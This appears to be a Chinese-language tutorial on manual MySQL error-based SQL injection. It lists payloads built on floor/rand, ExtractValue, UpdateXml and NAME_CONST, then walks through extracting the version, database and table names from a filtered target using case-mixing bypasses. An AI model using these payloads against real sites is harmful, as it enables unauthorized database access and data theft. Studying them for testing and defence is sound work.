您好,登錄后才能下訂單哦!
在我們實際***中,明明發現一個注入點,本以為丟給sqlmap就可以了,結果sqlmap只顯示確實是注入點,但是數據庫卻獲取不了,如圖1所示,這時我們可以使用手工進行注入,判斷出過濾規則以及基本過濾情況,然后再選擇對應的sqlmap腳本(如果有的話),本文主要是講述如何通過mysql函數報錯來進行注入,另外如何使用手工進行全程注入的利用過程,如果你知道sqlmap里面有對應的腳本的話,煩請告知一下,謝謝!。
圖1 獲取數據庫失敗
此時我們可以考慮下是否是顯錯注入,對于顯錯注入我們可以使用mysql顯錯注入函數進行查詢數據庫信息。
通過floor報錯:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通過ExtractValue報錯:
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通過UpdateXml報錯:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通過NAME_CONST報錯:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通過錯誤的雙重查詢:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在這里我們以UpdateXml報錯進行實戰演示,如圖2是一個顯錯注入點。
圖2 顯錯注入點
此時我們將通過UpdateXml來進行SQL注入,這里由于對關鍵字進行了過濾,因此我們需要使用大小寫來進行繞過,首先我們查詢數據庫版本,如圖3所示,成功獲取了數據庫版本。
圖3 獲取數據庫版本信息
獲取數據庫名,如圖4所示。
圖4 獲取數據名
獲取表名,如圖5所示。
圖5 獲取表名
后續操作請參考文章《mysql手工注入》,這里不再進行累贅!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。